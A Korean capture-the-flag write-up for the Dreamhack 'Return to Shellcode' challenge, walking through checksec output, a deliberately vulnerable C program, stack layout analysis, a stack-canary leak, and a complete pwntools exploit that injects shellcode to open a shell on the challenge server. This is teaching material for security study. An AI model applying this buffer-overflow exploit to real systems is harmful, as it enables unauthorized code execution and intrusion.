

먼저 우분투로 다운 받아서 'ls -al' 명령어로 권한 관련해서 확인해보면 다른 사용자에 대한 권한이 아무것도 없는 것을 확인할 수 있다.
따라서 포너블이나 이런 문제들은 처음에 무조건 권한 설정을 해주어야 한다.
chmod 755 파일이름
- r(ead) : 4
- w(rite) : 2
- x : 1 (execution)
다른 사용자에게 읽기와 실행권한을 부여하는 이 작업을 항상 해주고 시작해야 한다.
1. 보호기법 확인
'checksec' 명령어를 이용해서 관련 파일에 대해 어떤 보호기법이 걸려있는지 확인한다.

amd64-64-little : 64비트 바이너리
Full RELRO : Relocation Read-Only(바이너리의 심볼 등에 보호기법을 거는 것)
Canary found : 카나리 기법 존재
...
2. 소스코드 확인
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50]; //변수 buf에 0x50(80byte)만큼 할당
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
//printf 함수를 이용하여 buf주소와 buf~rbp의 offset 출력
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); //read함수를 이용하여 사용자에게 0x100(256byte)만큼 입력받고 읽는 역할 수행 -> BOF 발생 가능성 존재
printf("Your input is '%s'\n", buf); //printf 함수로 사용자가 입력한 값 출력
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf); //gets함수로 buf에 사용자 입력 받음 -> BOF 발생 가능성 존재
return 0;
}
변수 buf 크기는 0x50으로 설정해주었지만, 사용자에게 받는 입력값은 0x100이기 때문에 BOF가 발생할 수 있음을 알 수 있다.
*(offset : 어느 주소와 다른 주소와의 거리를 나타내는 값)
3. stack 구조 분석
위에 보호기법을 확인하면서 64bit 바이너리인 것을 확인했기 때문에 스택의 SFP(이전의 ebp 값), RET 등은 기본적으로 8byte의 크기를 가지고 있다는 것을 파악할 수 있다.
(16진수를 byte로 바꾸는 사이트 : https://miniwebtool.com/ko/hex-converter/)
따라서 아래 그림같이 나타낼 수 있다.

4. 실행화면 확인 및 분석
실행화면을 통해서도 stack 구조를 확인할 수 있다. (변수 buf~rbp 사이의 크기를 알려주기 때문이다.)

buf주소가 바이너리를 실행할 때마다 바뀌는 것과, buf~rbp는 96byte임을 확인할 수 있다.
따라서 88(96-8)byte가 카나리 값이 위치한 곳이다. 또한 buf, canary까지 크기가 buf~rbp크기(offset)에 비해 작기 때문에 8byte 크기의 dummy값(쓰레기값)이 존재한다는 사실을 알 수 있다.
알아야 할 점 : 카나리 값은 맨 앞이 null byte로 시작하므로 실제 값은 7(8-1)byte이다.
이러한 상황들을 종합해서 다시 stack 구조로 나타내 보았다.

정리) 첫번째 입력해서 89byte을 입력하면 카나리의 nullbye까지 입력되어 제거되면서 카나리 값을 얻을 수 있게 되어 공격을 할 수 있게 된다.
5. shell code 작성
from pwn import *
def log(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
context.arch = "amd64"
p = remote("host3.dreamhack.games", 19029)
e = ELF("./r2s")
shellcode = asm(shellcraft.sh())
# Get buf address
p.recvuntil("Address of the buf: ") //서버로부터 "Address of the buf: "라는 메시지가 나올 때까지 데이터를 받는다.
buf = int(p.recv(14), 16)
# Canary Leak
payload = b'A' * 0x59 //임의의 문자 'A'를 0x59(89byte)만큼 넣은 후 payload 변수에 할당
p.sendafter("Input: ", payload) //"Input: " 다음에 서버에 payload에 저장한 데이터 전송
p.recvuntil(payload) //payload가 나올 때까지 서버로부터 데이터 받음
canary = u64(b'\x00' + p.recv(7)) // 서버로부터 받은 데이터에서 카나리 값 읽어옴
log("buf", buf)
log("canary", canary)
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()
~
6. 플래그 확인

쉘 안으로 진입에 성공하여 flag값을 확인해볼 수 있다!
[Reference]
https://velog.io/@silvergun8291/Dreamhack-Return-to-Shellcode
https://0secusik0.tistory.com/62